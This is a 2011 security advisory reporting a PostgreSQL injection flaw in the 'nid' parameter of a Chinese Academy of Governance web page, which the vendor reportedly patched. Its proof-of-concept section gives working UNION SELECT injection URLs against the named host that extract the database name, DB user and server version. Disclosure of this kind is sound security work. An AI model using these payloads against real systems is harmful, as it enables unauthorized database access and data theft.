CN Academy of Governance NSA - Postgre SQL Injection

Document Title:
===============
CN Academy of Governance NSA - Postgre SQL Injection


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=311

CNNVD ID: CNNVD-201111-474


Release Date:
=============
2011-11-25


Vulnerability Laboratory ID (VL-ID):
====================================
311


Common Vulnerability Scoring System:
====================================
8.6


Product & Service Introduction:
===============================
Chinese Academy of Governance (previously named China National School of Administration) was born in the surging
tide of reform and opening up, and it constantly developed as the cause of socialism with Chinese characteristics
progressed. It was decided at the Thirteenth National Congress of the Communist Party of China (CPC­) in 1987 and
at the First Session of the National People’s Congress in1988 to create a national civil service system and establish
the ChineseAcademy of Governance. Preparatory work on the academy began in 1988, and it was formally established in 1994.

(Copy of the Vendor Homepage: http://nsaww.nsa.gov.cn/channel.php?cid=27 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a Postgre SQL Injection Vulnerability on the Chinese Academy Of Governance website.


Vulnerability Disclosure Timeline:
==================================
2011-11-08:	Vendor Notification
2011-11-09:	Vendor Response/Feedback
2011-11-25:	Vendor Fix/Patch
2011-11-26:	Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A PostgreSQL Injection vulnerability is detected on the Chinese Academy Of Governance website . 
Remote Attackers & privileged user accounts can inject/execute own sql statements to 
compromise the application dbms.

Vulnerable Module(s):
								[+] content.php

Vulnerable Para(s):		
								[+] nid=

Picture(s):
								../1.png


Proof of Concept (PoC):
=======================
The PostgreSQL Injection vulnerability can be exploited by remote attackers or local privileged user accounts.
For demonstration or reproduce ...

Site:		nsaww.nsa.gov.cn
Path:		/
File:		content.php
Para:		?nid=[Injection]

Database:	template1 
(http://nsaww.nsa.gov.cn/content.php?nid=-101+UNION+SELECT+null,null,null,null,datname,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null+FROM+pg_database--)

User:		cag_db 
(http://nsaww.nsa.gov.cn/content.php?nid=-101+UNION+SELECT+null,null,null,null,user,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null--)

dbms version :	PostgreSQL 8.4.4 on x86_64-unknown-freebsd8.1, compiled by GCC gcc (GCC) 4.2.1 20070719 [FreeBSD], 64-bit
(http://nsaww.nsa.gov.cn/content.php?nid=-101+UNION+SELECT+null,null,null,null,version(),null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null--)


Solution - Fix & Patch:
=======================
2011-11-25:	Vendor Fix/Patch


Security Risk:
==============
The security risk of the PostgreSQL injection vulnerability is estimated as critical.


Credits & Authors:
==================
Vulnerability Research Laboratory - Chokri B.A. (Me!ster) & Benjamin Kunz Mejri (Rem0ve)


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=========================
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